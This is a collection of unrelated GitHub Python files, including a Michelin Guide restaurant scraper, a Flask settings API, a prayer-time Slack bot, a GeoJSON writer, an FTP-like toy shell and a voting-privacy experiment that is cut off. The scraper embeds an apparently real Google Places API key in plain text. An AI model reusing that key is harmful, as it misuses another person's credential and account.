+{"seq_id":"22587482038","text":"# 507/206 Homework 7 Part 1\nimport requests\nimport json\nfrom bs4 import BeautifulSoup\nimport sqlite3\n\nDBNAME = 'restaurants.db'\nCACHE_GOOGLE_GPS = 'google_nearby_cache_data.json'\nCACHE_FNAME = 'michelin_cache_data.json'\n\ntry:\n\tcache_file = open(CACHE_FNAME, 'r')\n\tcache_contents = cache_file.read()\n\tCACHE_DICTION = json.loads(cache_contents)\n\tcache_file.close()\n\n# if there was no file, no worries. There will be soon!\nexcept:\n\tCACHE_DICTION = {}\n\ntry:\n\tgp_cache_file = open(CACHE_GOOGLE_GPS, 'r')\n\tgp_cache_contents = gp_cache_file.read()\n\tGPS_CACHE_DICTION = json.loads(gp_cache_contents)\n\tgp_cache_file_state.close()\nexcept:\n\tGPS_CACHE_DICTION={}\n\n#### Your Part 1 solution goes here ####\nclass Restaurant():\n\tdef __init__(self,title,catalog,cuisine,district,phone_temp,address,price_s,link=None):\n\t\tself.title=title\n\t\tself.catalog=catalog\n\t\tself.cuisine=cuisine\n\t\tself.district=district\n\t\tself.phone=phone_temp\n\t\tself.address=address\n\t\tself.price=price_s\n\t\tself.link=link\n\n\t\tself.web=''\n\t\tself.gps_latitude=None\n\t\tself.gps_longitude=None\n\n\tdef __str__(self):\n\t\tmessage=self.title+'('+self.catalog+')'+' : '+self.cuisine+','+self.district+','+self.price+'/n'+'Contact info: '+self.address+'('+self.phone+')'\n\ndef get_web_data(page,city,restaurant_list):\n\t#  crawl [and scraping] multiple pages in the Michelin Guide website\n\t\n\n\tdata=[]\n\tprint(page)\n\tbaseurl = 'https://guide.michelin.com/us/'+city+'/restaurants/page/'+str(page)+'?max=30&sort=relevance&order=desc'\n\textendedurl = baseurl #+ '/page/'+str(page)\n\t# params={'max':'30','sort':'relevance','order': 'desc'}\n\tparams={}\n\theader = {'User-Agent': 'SI_CLASS'}\n\tprint(baseurl)\n\n\tpage_text_cache=make_request_using_cache(CACHE_DICTION,CACHE_FNAME,baseurl,params,header)\n\tpage_soup = BeautifulSoup(page_text_cache,'html.parser')\n\n\n\tmichelin_catalog={\"=\":\"Bib Gourmand\",\"‹\":\"The Plate MICHELIN\",\"m\":\"1 Star MICHELIN\",\"n\":\"2 Stars MICHELIN\",\"o\":\"3 Stars MICHELIN\"}\n\n\n\tname = page_soup.find_all(class_='grid-restaurants__item__body')\n\n\n\n\ttitle_all= page_soup.find_all(class_='resto-inner-title')\n\t# print(title_all)\n\tfor link_i in range(len(title_all)):\n\t\ttitle=title_all[link_i].a.text\n\t\ttitle=title.strip()\n\t\tcatalog=michelin_catalog[title[-1:]]\n\t\ttitle=title[:-2].strip()\n\t\tlink= title_all[link_i].a['href']\n\n\n# crawl the restaurant single page by using the link from main page.\n\t\tsub_baseurl = 'https://guide.michelin.com'\n\t\tsub_extendedurl = sub_baseurl+link \n\t\tparams={}\n\t\theader = {'User-Agent': 'SI_CLASS'}\n\n\t\trestaurant_page_text_cache=make_request_using_cache(CACHE_DICTION,CACHE_FNAME,sub_extendedurl,params,header)\n\t\trestaurant_page_soup = BeautifulSoup(restaurant_page_text_cache, 'html.parser')\n\t\ttry:\n\t\t\tcuisine_temp=restaurant_page_soup.find(class_=\"content-header-desc__cuisine\")\n\t\t\tcuisine=cuisine_temp.a.string\n\t\texcept:\n\t\t\tcuisine=''\n\t\t\n\t\ttry:\n\t\t\tdistrict_temp=restaurant_page_soup.find(class_=\"content-header-desc__area\")\n\t\t\tdistrict=district_temp.a.string\n\t\t\tprint(district)\n\t\texcept:\n\t\t\tdistrict=''\n\n\t\ttry:\n\t\t\tprice_temp=restaurant_page_soup.find_all(class_=\"restaurant-criteria__desc\")\n\t\t\tprice=price_temp[-1].string\n\t\t\tprice_s=price.strip()\n\t\t\t# print(\"price\")\n\t\t\tprint(price_s)\n\t\texcept:\n\t\t\tprice_s=''\n\t\t# print(restaurant_page_soup)\n\n\t\ttry:\n\t\t\taddress_temp=restaurant_page_soup.find_all(class_=\"location-item__desc\")\n\t\t\t# print(len(address_temp))\n\t\t\tp_address=address_temp[0].find_all('p')\n\n\t\t\taddress=p_address[1].string\n\t\t\taddress=address.strip().replace(\"\\n\", \"\")\n\t\t\taddress=address.replace(\"  \",\"\")\n\t\texcept:\n\t\t\taddress=''\n\n\t\ttry:\n\t\t\tweb_temp=restaurant_page_soup.find_all(class_=\"o-link\")\n\t\t\t# print(len(address_temp))\n\t\t\tweb=web_temp[1][\"href\"]\n\n\t\t\t# address=p_address[1].string\n\t\t\t# address=address.strip().replace(\"\\n\", \"\")\n\t\t\t# address=address.replace(\"  \",\"\")\n\t\texcept:\n\t\t\tweb=''\n\n\t\t# print(p_address)\n\t\ttry:\n\t\t\tphone_temp=address_temp[3].p.string\n\n\t\texcept:\n\t\t\tphone_temp=''\n\n\t\t# try:\n\t\tgps_tag=restaurant_page_soup.find(class_=\"v-location-map\")\n\t\tgps_lat=gps_tag.div[\"data-lat\"]\n\t\tgps_lon=gps_tag.div[\"data-lon\"]\n\t\t\n\t\tprint(title+\"(\"+catalog+\")\"+\" : \"+link)\n\t\tprint(address)\n\t\tprint(phone_temp)\n\n\t\tdata.append([title,catalog,cuisine,district,phone_temp,address,price_s,link])\n\t\trestaurant_list.append(Restaurant(title,catalog,cuisine,district,phone_temp,address,price_s,link))\n\t\trestaurant_list[-1].gps_latitude=gps_lat\n\t\trestaurant_list[-1].gps_longitude=gps_lon\n\t\trestaurant_list[-1].web=web\n\t\t\n\treturn restaurant_list\n\n\t# return umsi_titles\n\n\n\n\n\ndef get_gps(restaurant):\n\t# use google place to get GPS\n\n\tGOOGLE_PLACE_KEY=\"AIzaSyBoCZBzpt1ZfEh37nrBDO1CkoaQMxUULNg\"\n\t# google_nearby_baseurl='https://maps.googleapis.com/maps/api/place/nearbysearch/'\n\tgoogle_textsearch_url='https://maps.googleapis.com/maps/api/place/textsearch/json'\n\n\n\ttextsearch_params={\"key\":GOOGLE_PLACE_KEY,'query':restaurant.title}\n\t# ,'name':national_site.name,'type':national_site.type\n\t# google_gps = requests.get(google_textsearch_url, textsearch_params).text\n\tgoogle_gps=make_request_using_cache(GPS_CACHE_DICTION,CACHE_GOOGLE_GPS,google_textsearch_url, textsearch_params,header={})\n\tgps_result=json.loads(google_gps)\n\t# print(google_gps)\n\t# print(gps_result[\"results\"][0]['geometry']['location'])\n\t# print(gps_result)\n\tif gps_result[\"status\"] != 'ZERO_RESULTS':\n\t\t# if gps_result[\"results\"][0]['geometry']['location']['lat']!= None:\n\t\trestaurant.gps_latitude=gps_result[\"results\"][0]['geometry']['location']['lat']\n\t\tprint(restaurant.gps_latitude)\n\t\t# else:\n\t\t# \tnational_site.gps_latitude=None\n\t\t\n\t\t# if gps_result[\"results\"][0]['geometry']['location']['lng'] != None:\n\t\trestaurant.gps_longitude=gps_result[\"results\"][0]['geometry']['location']['lng']\n\t\tprint(restaurant.gps_longitude)\n\t\t\n\n\ndef params_unique_combination(baseurl, params):\n\talphabetized_keys = sorted(params.keys())\n\tres = []\n\tfor k in alphabetized_keys:\n\t\tres.append(\"{}-{}\".format(k, params[k]))\n\treturn baseurl + \"_\".join(res)\n\n\ndef make_request_using_cache(cache_dict, cache_file, baseurl, params, header):\n\tunique_ident = params_unique_combination(baseurl,params)\n\t# print(\"unique_ident:\"+unique_ident)\n\n\t## first, look in the cache to see if we already have this data\n\tif unique_ident in cache_dict:\n\t\tprint(\"Getting cached data...\")\n\t\treturn cache_dict[unique_ident]\n\n\n\telse:\n\t\tprint(\"Making a request for new data...\")\n\n\t\tpage_text = requests.get(baseurl, params, headers=header).text\n\t\t# page_soup = BeautifulSoup(page_text, 'html.parser')\n\t\tcache_dict[unique_ident] = page_text\n\t\tdumped_json_cache = json.dumps(cache_dict)\n\t\tfw = open(cache_file,\"w\")\n\t\tfw.write(dumped_json_cache)\n\t\tfw.close() # Close the open file\n\t\treturn cache_dict[unique_ident]\n\n\n\ndef create_db(city):\n\ttry:\n\t\tconn=sqlite3.connect(DBNAME)\n\t\tcur=conn.cursor()\n\t\tprint(\"connected to db\")\n\texcept:\n\t\tprint(\"error for connecting to db\")\n\n\tif city == \"san-francisco\":\n\t\tstatement = '''\n\t\t\tDROP TABLE IF EXISTS 'SF_restaurants';\n\t\t'''\n\t\tcur.execute(statement)\n\t\tconn.commit()\n\t\ttry:\n\t\t\tstatement='''\n\t\t\t\tCREATE  TABLE 'SF_restaurants'(\n\t\t\t\t\t'Id' INTEGER PRIMARY KEY AUTOINCREMENT,\n\t\t\t\t\t'Title' TEXT ,\n\t\t\t\t\t'Catalog' TEXT,\n\t\t\t\t\t'Cuisine' TEXT,\n\t\t\t\t\t'District' TEXT,\n\t\t\t\t\t'Price' TEXT,\n\t\t\t\t\t'Address' TEXT ,\n\t\t\t\t\t'City' TEXT,\n\t\t\t\t\t'GPSlatitude' TEXT ,\n\t\t\t\t\t'GPSlongitude' TEXT ,\n\t\t\t\t\t'Phone' TEXT ,\n\t\t\t\t\t'InternalLink' TEXT ,\n\t\t\t\t\t'Website' TEXT \n\t\t\t\t\t);\n\t\t\t\t'''\n\t\t\t# insertion=table_name\n\t\t\tcur.execute(statement)\n\t\t\tconn.commit()\n\t\t\tprint(\"created SF restaurants table\")\n\t\texcept:\n\t\t\tprint(\"fail to create restaurants table\")\n\n\t\n\tif city == \"new-york\":\n\t\tstatement = '''\n\t\t\tDROP TABLE IF EXISTS 'NY_restaurants';\n\t\t'''\n\t\tcur.execute(statement)\n\t\tconn.commit()\n\t\ttable_name=\"NY_restaurants\"\n\t\ttry:\n\t\t\tstatement='''\n\t\t\t\tCREATE  TABLE 'NY_restaurants'(\n\t\t\t\t\t'Id' INTEGER PRIMARY KEY AUTOINCREMENT,\n\t\t\t\t\t'Title' TEXT ,\n\t\t\t\t\t'Catalog' TEXT,\n\t\t\t\t\t'Cuisine' TEXT,\n\t\t\t\t\t'District' TEXT,\n\t\t\t\t\t'Price' TEXT,\n\t\t\t\t\t'Address' TEXT ,\n\t\t\t\t\t'City' TEXT,\n\t\t\t\t\t'GPSlatitude' TEXT ,\n\t\t\t\t\t'GPSlongitude' TEXT ,\n\t\t\t\t\t'Phone' TEXT ,\n\t\t\t\t\t'InternalLink' TEXT ,\n\t\t\t\t\t'Website' TEXT \n\t\t\t\t\t);\n\t\t\t\t'''\n\t\t\t# insertion=table_name\n\t\t\tcur.execute(statement)\n\t\t\tconn.commit()\n\t\t\tprint(\"created NY restaurants table\")\n\t\texcept:\n\t\t\tprint(\"fail to create restaurants table\")\n\n\ndef import_restaurant_data(data, city):\n\t#import crawled data into database \n\n\ttry:\n\t\tconn=sqlite3.connect(DBNAME)\n\t\tcur=conn.cursor()\n\t\tprint(\"connected to db\")\n\texcept:\n\t\tprint(\"error for connecting to db\")\n\n\n\tfor restaurant in data:\n\t\t# print(country.keys())\n\t\tinsertion = (restaurant.title, restaurant.catalog, restaurant.cuisine, restaurant.district, restaurant.price, restaurant.address, restaurant.gps_latitude, restaurant.gps_longitude, restaurant.phone, restaurant.link, restaurant.web)\n\t\tif city == \"san-francisco\":\n\t\t\tdb_statement=\"\"\"\n\t\t\tINSERT INTO SF_restaurants (Title, Catalog, Cuisine, District, Price, Address, GPSlatitude, GPSlongitude, Phone, InternalLink,City, Website)\n\t\t\tVALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 1, ?);\n\t\t\t\"\"\"\n\t\tif city == \"new-york\":\n\t\t\tdb_statement=\"\"\"\n\t\t\tINSERT INTO NY_restaurants (Title, Catalog, Cuisine, District, Price, Address, GPSlatitude, GPSlongitude, Phone, InternalLink, City, Website)\n\t\t\tVALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2, ?);\n\t\t\t\"\"\"\n\t\tcur.execute(db_statement, insertion)\n\t\tconn.commit()\n\tprint(\"import restaurant data\")\n\ndef create_US_Michelin_summary():\n\ttry:\n\t\tconn=sqlite3.connect(DBNAME)\n\t\tcur=conn.cursor()\n\t\tprint(\"connected to db\")\n\texcept:\n\t\tprint(\"error for connecting to db\")\n\n\tstatement = '''\n\t\tDROP TABLE IF EXISTS 'US_Michelin';\n\t'''\n\tcur.execute(statement)\n\tconn.commit()\n\n\t# try:\n\tstatement='''\n\t\tCREATE  TABLE 'US_Michelin'(\n\t\t\t'Id' INTEGER PRIMARY KEY AUTOINCREMENT,\n\t\t\t'City' TEXT ,\n\t\t\t'Total' INT ,\n\t\t\t'ThreeStar' INT,\n\t\t\t'TwoStar' INT,\n\t\t\t'OneStar' INT,\n\t\t\t'BibGourmand' INT,\n\t\t\t'Plate' INT \n\t\t\t);\n\t\t'''\n\t# insertion=table_name\n\tcur.execute(statement)\n\tconn.commit()\n\tprint(\"created NY US_Michelin table\")\n\t# except:\n\t# \tprint(\"fail to create restaurants table\")\n\ndef update_US_Michelin():\n\ttry:\n\t\tconn=sqlite3.connect(DBNAME)\n\t\tcur=conn.cursor()\n\t\tprint(\"connected to db\")\n\texcept:\n\t\tprint(\"error for connecting to db\")\n\t\n\n\tdb_statement=\"\"\"\n\t\t\tINSERT INTO US_Michelin (City, Total, ThreeStar, TwoStar, OneStar, BibGourmand, Plate)\n\t\t\tVALUES ( \"San-Francisco\", \n\t\t\t(SELECT COUNT(*) FROM SF_restaurants), \n\t\t\t(SELECT COUNT(*) FROM SF_restaurants WHERE [Catalog] like \"3 Stars MICHELIN\"), \n\t\t\t(SELECT COUNT(*) FROM SF_restaurants WHERE [Catalog] like \"2 Stars MICHELIN\"),\n\t\t\t(SELECT COUNT(*) FROM SF_restaurants WHERE [Catalog] like \"1 Star MICHELIN\"),\n\t\t\t(SELECT COUNT(*) FROM SF_restaurants WHERE [Catalog] like \"Bib Gourmand\"),\n\t\t\t(SELECT COUNT(*) FROM SF_restaurants WHERE [Catalog] like \"The Plate MICHELIN\"));\n\t\t\t\"\"\"\n\tcur.execute(db_statement)\n\tconn.commit()\n\n\tdb_statement=\"\"\"\n\t\t\tINSERT INTO US_Michelin (City, Total, ThreeStar, TwoStar, OneStar, BibGourmand, Plate)\n\t\t\tVALUES ( \"New-York\", \n\t\t\t(SELECT COUNT(*) FROM NY_restaurants), \n\t\t\t(SELECT COUNT(*) FROM NY_restaurants WHERE [Catalog] like \"3 Stars MICHELIN\"), \n\t\t\t(SELECT COUNT(*) FROM NY_restaurants WHERE [Catalog] like \"2 Stars MICHELIN\"),\n\t\t\t(SELECT COUNT(*) FROM NY_restaurants WHERE [Catalog] like \"1 Star MICHELIN\"),\n\t\t\t(SELECT COUNT(*) FROM NY_restaurants WHERE [Catalog] like \"Bib Gourmand\"),\n\t\t\t(SELECT COUNT(*) FROM NY_restaurants WHERE [Catalog] like \"The Plate MICHELIN\"));\n\t\t\t\"\"\"\n\tcur.execute(db_statement)\n\tconn.commit()\n\nif __name__==\"__main__\":\n\ttotal_dict={}\n\tcreate_db(\"san-francisco\")\n\trestaurant_list=[]\n\tfor i in range(5):\n\t\tpage_dict=get_web_data(i+1,\"san-francisco\",restaurant_list)\n\t\t# total_dict.update(page_dict)\n\n\t\n\timport_restaurant_data(page_dict,\"san-francisco\")\n\t# print(total_dict)\n\t# create_US_Michelin_summary()\n\t# update_US_Michelin()\n# san-francisco\n# umsiW = open(\"directory_dict.json\",\"w\")\n# dumped_UMSI_json_cache = json.dumps(total_dict)\n# umsiW.write(dumped_UMSI_json_cache)\n# umsiW.close() # Close the open file\n\n","repo_name":"yuchengc/SI507-final-project-yuchengc","sub_path":"part1_crawl.py","file_name":"part1_crawl.py","file_ext":"py","file_size_in_byte":11855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"24334144810","text":"import numpy as np\n\nmy_array = np.random.rand(100)\n\n\"\"\"\nimplementation of selective sort. At each iteration, goes through the whole array to find the lowest value then swap it in front\nThis has O(n^2) worst-case complexity.\n\"\"\"\n\ndef selective_sort(array):\n    for i in range(0, len(array)):\n        min_index = i\n        for j in range(i+1, len(array)):\n            if array[j]<array[min_index]:\n                min_index = j\n        temp = array[i]\n        array[i] = array[min_index]\n        array[min_index] = temp\n\nselective_sort(my_array)\nprint(my_array)\n","repo_name":"pierrecrochelet/data_science","sub_path":"misc/sorting_algorithms/selection_sort.py","file_name":"selection_sort.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"565447261","text":"#\n# Specific view.\n# @version 1.0\n# @author Sergiu Buhatel <sergiu.buhatel@carleton.ca>\n#\n\nfrom flask import request, jsonify, url_for, Blueprint\nfrom flask import json, jsonify, Response, blueprints\nfrom permafrost_api.models.settings import Settings, SettingsSchema\nfrom permafrost_api.extensions import db, ma\nfrom permafrost_api.web.common_view import permafrost_bp\nfrom permafrost_api.decorators.crossorigin import crossdomain\nfrom permafrost_api.decorators.authorization import authorization\n\nsettings_schema_one = SettingsSchema(many=False)\nsettings_schema_many = SettingsSchema(many=True)\n\n@permafrost_bp.route(\"/settings\")\n@crossdomain(origin='*')\n@authorization\ndef get_settings():\n    properties = Settings.query.all()\n    result = settings_schema_many.dump(properties)\n    return jsonify(result)\n\n@permafrost_bp.route(\"/settings\", methods=['PUT'])\n@crossdomain(origin='*')\n@authorization\ndef update_settings():\n    json_request = request.get_json()\n    category = json_request[0].get('category')\n    value = json_request[0].get('value')\n    type = json_request[0].get('type')\n\n    settings = Settings.query.filter(Settings.category==category).first()\n    if settings:\n        settings.value = json_request[0].get('value')\n        settings.type = json_request[0].get('type')\n        db.session.commit()\n\n    result = settings_schema_one.dump(settings)\n    return jsonify(result)\n","repo_name":"ResearchComputingServices/permafrost-api","sub_path":"permafrost_api/web/settings_view.py","file_name":"settings_view.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"73486450397","text":"import sys\nimport time\n\nfrom . import settings\nfrom .service import Service\nfrom . import utils\n\n\nclass AdhanBot(object):\n    \"\"\"\n    Bot model that reminds subscribed Muslims of the five daily islamic prayers\n    at the exact time of each based on some settings like location e.t.c.\n\n    method `run` kicks off the notification\n    \"\"\"\n\n    def __init__(self, subscribers=None):\n        self.subscribers = subscribers or []\n        self.adhan_timings = None\n        self.service = Service()\n\n    def notify_subscribers(self, prayer):\n        day_identifier = (\n            \"weekend\" if utils.current_datetime().weekday() in [5, 6] else \"weekday\"\n        )\n\n        for subscriber in self.subscribers:\n            subscriber_preferences = settings.SUBSCRIBERS_PREFERENCES.get(subscriber) or {}\n            subscriber_excluded_prayer = utils.clean_data(\n                (\n                    subscriber_preferences.get(\"exclude\") or {}\n                ).get(day_identifier)\n                or []\n            )\n\n            if prayer.lower() in subscriber_excluded_prayer:\n                continue\n\n            self.service.slack.post({\n                \"channel\": subscriber,\n                \"prayer\": prayer,\n                \"notifier\": subscriber_preferences.get(\"broadcast_notifier\") or \"<!channel>\"\n            })\n\n    def get_time_diff_between_now_and_prayer(self, prayer):\n        current_datetime = utils.current_datetime()\n        current_datetime = utils.parse_hour_and_min_to_datetime(\n            current_datetime.hour, current_datetime.minute\n        )\n        prayer_datetime = utils.parse_hour_and_min_to_datetime(\n            *self.adhan_timings[prayer].split(\":\")\n        )\n\n        return (prayer_datetime - current_datetime).total_seconds()\n\n    def call_to_prayer(self, prayer):\n        time_diff_in_seconds = self.get_time_diff_between_now_and_prayer(prayer)\n        if time_diff_in_seconds >= 0:\n            time.sleep(time_diff_in_seconds)\n            self.notify_subscribers(prayer)\n\n    def sleep_at_night(self):\n        n = settings.NIGHT_SLEEP_IN_SECONDS + self.get_time_diff_between_now_and_prayer(\"Isha\")\n        if n > 0:\n            time.sleep(n)\n\n    def run(self):\n        \"\"\"\n        Method that kicks off the notification process and ensures it's continuous\n        unless the timezone is unknown\n        \"\"\"\n\n        while True:\n            try:\n                self.adhan_timings = self.service.aladhan.get_adhan_timings()\n                for prayer in [\"Fajr\", \"Dhuhr\", \"Asr\", \"Maghrib\", \"Isha\"]:\n                    self.call_to_prayer(prayer)\n\n                self.sleep_at_night()\n            except utils.pytz.exceptions.UnknownTimeZoneError as e:\n                self.service.sendgrid.notify_of_error(\n                    \"UnknownTimeZoneError: {}\".format(e)\n                )\n                sys.exit(1)\n            except Exception as e:\n                self.service.sendgrid.notify_of_error(e)\n","repo_name":"kola-er/adhanbot","sub_path":"app/adhan.py","file_name":"adhan.py","file_ext":"py","file_size_in_byte":2937,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
+{"seq_id":"5411689469","text":"import logging\nimport pathlib\nfrom datetime import datetime\nfrom pprint import pprint\n\nimport pytz\n\nimport config\n\nimport util\n\ndef write_geojson(args, source, fc, fn, archive, updated_stations):\n    fc.properties[\"processed\"] = int(datetime.utcnow().timestamp())\n    fc.properties[\"origin_member\"] = pathlib.PurePath(fn).name\n    if archive:\n        fc.properties[\"origin_archive\"] = pathlib.PurePath(archive).name\n    station_id = fc.properties[\"station_id\"]\n\n    if args.station and args.station != station_id:\n        return\n\n    fc.properties[\"fmt\"] = config.FORMAT_VERSION\n\n    logging.debug(\n        f\"output samples retained: {len(fc.features)}, station id={station_id}\"\n    )\n\n    updated_stations.append((station_id, fc.properties))\n\n    cc = station_id[:2]\n    subdir = station_id[2:5]\n\n    syn_time = datetime.utcfromtimestamp(fc.properties[\"syn_timestamp\"]).replace(\n        tzinfo=pytz.utc\n    )\n    day = syn_time.strftime(\"%Y%m%d\")\n    year = syn_time.strftime(\"%Y\")\n    month = syn_time.strftime(\"%m\")\n    time = syn_time.strftime(\"%H%M%S\")\n\n    dest = (\n        f\"{args.destdir}/{source}/{cc}/{subdir}/\"\n        f\"{year}/{month}/{station_id}_{day}_{time}.geojson.br\"\n    )\n    ref = f\"{source}/{cc}/{subdir}/\" f\"{year}/{month}/{station_id}_{day}_{time}.geojson\"\n\n    path = pathlib.Path(dest).parent.absolute()\n    pathlib.Path(path).mkdir(parents=True, exist_ok=True)\n\n    if not fc.is_valid:\n        logging.error(f\"--- invalid GeoJSON! {fc.errors()}\")\n        raise ValueError(\"invalid GeoJSON\")\n\n    util.write_json_file(fc, dest, useBrotli=True, asGeojson=True)\n\n    fc.properties[\"path\"] = ref\n\n    if args.dump_geojson:\n        pprint(fc)\n    return True\n","repo_name":"mhaberler/radiosonde-datacollector","sub_path":"geojsonutil.py","file_name":"geojsonutil.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
+{"seq_id":"26538984363","text":"from marshmallow import Schema, fields, validate, validates\n\nfrom api.utils.schemas_utils import validate_model_object_does_not_exist\nfrom api.models import Account\n\n\nclass AccountSchema(Schema):\n    name = fields.String(\n        required=True,\n        validate=[validate.Length(min=3, max=50)],\n        error_messages={\"required\": \"name is required\"}\n    )\n    bio_data = fields.String(\n        required=True,\n        validate=[validate.Length(min=3, max=1500)],\n        error_messages={\"required\": \"bio_data is required\"}\n    )\n    display_photo = fields.String()\n    id = fields.String(attribute=\"uuid\")\n    date_created = fields.DateTime()\n    date_modified = fields.DateTime()\n\n    @validates(\"name\")\n    def validate_name(self, name):\n        validate_model_object_does_not_exist(\n            Account, Account.name, name, field_name='name'\n        )\n\n\nclass AccountUpdateSchema(Schema):\n    name = fields.String(\n        required=True,\n        validate=[validate.Length(min=3, max=50)],\n        error_messages={\"required\": \"name is required\"}\n    )\n    bio_data = fields.String(\n        required=True,\n        validate=[validate.Length(min=3, max=1500)],\n        error_messages={\"required\": \"bio_data is required\"}\n    )\n    display_photo = fields.String()\n","repo_name":"MalonzaElkanah/Flask-Auth-Template","sub_path":"api/users/accounts/schemas.py","file_name":"schemas.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"12535855879","text":"import os # for pwd\n\nhelpmsg = \"\"\"\n!\t\tdebug\t\tmdir\t\tsendport\tsite\n$\t\tdir\t\tmget\t\tput\t\tsize\naccount\t\tdisconnect\tmkdir\t\tpwd\t\tstatus\nappend\t\texit\t\tmls\t\tquit\t\tstruct\nascii\t\tform\t\tmode\t\tquote\t\tsystem\nbell\t\tget\t\tmodtime\t\trecv\t\tsunique\nbinary\t\tglob\t\tmput\t\treget\t\ttenex\nbye\t\thash\t\tnewer\t\trstatus\t\ttick\ncase\t\thelp\t\tnmap\t\trhelp\t\ttrace\ncd\t\tidle\t\tnlist\t\trename\t\ttype\ncdup\t\timage\t\tntrans\t\treset\t\tuser\nchmod\t\tlcd\t\topen\t\trestart\t\tumask\nclose\t\tls\t\tprompt\t\trmdir\t\tverbose\ncr\t\tmacdef\t\tpassive\t\trunique\t\t?\ndelete\t\tmdelete\t\tproxy\t\tsend\n\"\"\"\n\ndef pwd():\n    current_directory = os.getcwd()\n    print(\"현재 디렉토리:\", current_directory)\ndef help():\n    print(helpmsg)\n\nmylist = ['!','debug','mdir','sendport','site','?']\n\nwhile(True):\n    # [ 사용자 입력 대기 ]\n    myinput = input(\"ftp> \")\n\n    # [ while 문 탈출 조건 ] myinput = quit\n    if myinput == 'quit':\n        break\n\n    # [ 리스트 목록이 출력되어야 한다 ]\n    elif myinput == 'help':\n        help()\n\n    elif myinput == 'pwd':\n        pwd()\n\n    # [ 아무입력 없었을때 다시 입력 받으러 돌아가기]\n    elif myinput == \"\":\n        continue\n\n    # [ 의미 없는 명령어를 쳤을때 ]\n    else:\n        print(\"?Invalid command\")\n","repo_name":"Parksanghyeon97/Python","sub_path":"ftp.py","file_name":"ftp.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"71116221278","text":"import pandas as pd\r\nimport numpy as np\r\nfrom time import time\r\nfrom fairness_SW_tradeoff import plurality_utility\r\nfrom fairness_new_tradeoffs import fair_plurality\r\nfrom satisfaction_calc import condorcet_exist, gen_pref_profile, gen_random_vote\r\n\r\n#%%\r\ndef util_uf(votes1, votes2):\r\n    \"\"\"\r\n    Redefining util_uf function for top-1 utility\r\n\r\n    Parameters\r\n    ----------\r\n    votes1 : preference profile for group 1.\r\n    votes2 : preference profile for group 2.\r\n\r\n    Returns\r\n    -------\r\n    TYPE\r\n        average social welfare and unfairness for each alternative\r\n\r\n    \"\"\"\r\n    util1 = plurality_utility(votes1)\r\n    util2 = plurality_utility(votes2)\r\n    util = plurality_utility(np.concatenate((votes1,votes2)))\r\n    \r\n    m = len(util)\r\n    uf = np.zeros(m)\r\n    for j in range(m):\r\n        if(util[j]==0):\r\n            uf[j] = np.nan\r\n        else:\r\n            uf[j] = np.abs(util1[j] - util2[j]) / util[j]\r\n    return util, np.array(uf)\r\n\r\n#%%\r\n\r\ndef local_noise_plurality(ballot, p):\r\n    \"\"\"\r\n    Description:\r\n        Adds noise to a ballot for plurality vote, only the top candidate is needed, so \r\n            only changing ballot[0]\r\n        With probability p, ballot is unchanged,\r\n        with probability (1-p), the other m candidates are drawn from uniformly\r\n    \"\"\"\r\n    x = np.random.uniform()\r\n    if(x<p):\r\n        return ballot\r\n    \r\n    m = len(ballot)\r\n    # print(ballot.shape)\r\n    newballot = gen_random_vote(m)\r\n    return newballot\r\n\r\ndef diff_private_rankings(ballots1, ballots2, eps):\r\n    \"\"\"\r\n    Description:\r\n        Calculate alternate ballots with coin-flipping algorithm\r\n        This depends on how much data is available, so dependent on utility function\r\n            Examples:\r\n            For plurality, only m possibilities\r\n            For Borda, m! possibilities (too-large)\r\n            For k-Borda, mPk\r\n            For k-approval, mCk\r\n    Parameters:\r\n        ballots1:   ballots for group1\r\n        ballots2:   ballots for group2\r\n        eps:        privacy parameter\r\n    \"\"\"\r\n    m = len(ballots1[0])\r\n    \r\n    p = (np.exp(eps)-1)/(m+np.exp(eps)-1) # probability that original ballot remains\r\n    # print(f\"p={p}\")\r\n    noisy_b1 = np.zeros(ballots1.shape)\r\n    for i,ballot in enumerate(ballots1):\r\n        noisy_b1[i] = local_noise_plurality(ballot, p)\r\n        \r\n    noisy_b2 = np.zeros(ballots2.shape)\r\n    for i,ballot in enumerate(ballots2):\r\n        noisy_b2[i] = local_noise_plurality(ballot, p)\r\n    \r\n    return noisy_b1, noisy_b2\r\n\r\n#%%\r\n\r\ndef privacy_main(n1, n2, m):\r\n    \r\n    eps_all = np.arange(4)\r\n    \r\n    df = pd.DataFrame()\r\n    trials = 10\r\n    \r\n    for _ in range(trials):    \r\n        ballots1 = gen_pref_profile(n1, m)\r\n        ballots2 = gen_pref_profile(n2, m)\r\n        \r\n        print(f\"trial = {_}\")\r\n        \r\n        exist, C = condorcet_exist(np.concatenate((ballots1, ballots2)))\r\n        \r\n        for thresh in np.arange(0,1.01,0.1):    \r\n                          \r\n            util, _ = util_uf(ballots1, ballots2)\r\n            w, uf = fair_plurality(np.concatenate((ballots1, ballots2)), n1, n2, thresh)\r\n\r\n            df = df.append(pd.Series([thresh, 0, uf[w], util[w], exist, 1 if w in C else 0]), ignore_index=True)\r\n            for eps in eps_all[1:]:\r\n                nb1, nb2 = diff_private_rankings(ballots1, ballots2, eps)\r\n                nw, _ = fair_plurality(np.concatenate((nb1, nb2)), n1, n2, thresh)\r\n                df = df.append(pd.Series([thresh, eps, uf[nw], util[nw], exist, 1 if nw in C else 0]), ignore_index=True)\r\n\r\n\r\n    df.rename(columns={0: \"threshold\", 1: \"eps\", 2:\"uf\", 3:\"sw\", 4: \"exist\", 5:\"Condorcet\"}, inplace = True)\r\n    return df\r\n\r\nif __name__ == \"__main__\":\r\n    n1 = 100\r\n    m = 4\r\n    \r\n    for n2 in range(20,101,20):\r\n        df = privacy_main(n1, 